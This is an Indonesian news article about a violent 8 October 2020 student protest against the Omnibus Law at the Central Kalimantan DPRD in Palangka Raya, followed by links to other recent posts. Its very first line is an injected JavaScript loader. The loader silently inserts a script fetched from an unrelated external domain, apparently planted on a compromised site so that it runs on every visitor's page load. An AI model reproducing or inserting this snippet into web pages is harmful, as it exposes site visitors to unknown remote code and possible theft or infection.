(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PALANGKARAYA

Demo Omnibus Law di DPRD Kalteng Ricuh, Mahasiswa dan Polisi Terluka!


KANALKALIMANTAN.COM, PALANGKA RAYA – Aksi demo mahasiswa menentang UU Omnibus Law Cipta Kerja di gedung DPRD Kalteng, Kamis (8/10/2020) diwarnai ricuh. Mahasiswa dan polisi mengalami luka akibat memanasnya unjuk rasa.

Seorang mahasiswa dilaporkan mengalami luka dan sudah diobati. Pun demikian dengan dua anggota polisi yang mengalami luka bagian kepala dan tangan telah menerima penanganan medis dari personel kesehatan lapangan (Keslap).

Kapolresta Palangka Raya, Kombes Dwi Tunggal Jaladri mengatakan, kedua petugas tersebut merupakan personel Polresta Palangka Raya dan Direktorat Samapta (Ditsamapta) Polda Kalimantan Tengah.

Seorang personil Polresta Palangka Raya mengalami luka di bagian dahi, sedangkan seorang personel Ditsampata Polda Kalteng mengalami luka di bagian jari tangan. “Tetapi kondisi luka sudah berangsur membaik,” kata Kombes Dwi Tunggal.

polisi yang terluka saat amankan aksi. Foto: tri

Salah satu personil yang terluka, mengatakan, kejadian tersebut merupakan salah satu resiko yang harus terima saat menjaga kondisi keamanan.

Ketegangan disebabkan massa memaksa masuk ke dalam gedung dan berujung pada pelemparan benda-benda tumpul kepada barisan pasukan dalmas hingga pembakaran ban.

Namun kericuhan tersebut berhasil diredam melalui upaya negosiasi cukup alot. Bahkan Rektor Universitas Palangka Raya Andre Elia Embang, sampai datang ke lokasi, untuk menenangkan mahasiswa.

Setelah melalui negosiasi cukup lama, akhirnya mahasiswa bersedia membubarkan diri dan sepakat menyerahkan pernyataan sikap ke perwakilan staf DPRD Kalteng. Tetapi mereka memberikan waktu 2 x 24 jam bisa mendapatkan kepastian atas tuntutan mereka.

Tiga tuntutan aksi mereka adalah meminta anggota DPR-RI dapil Kalteng dan anggota DPRD Kalteng menolak UU Ciptaker. Kemudian meminta memberikan pernyataan sikap menolak dengan memberikan bukti penolakan berupa video. (kanalkalimantan.com/tri)

Repoter: Tri
Editor: Cell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.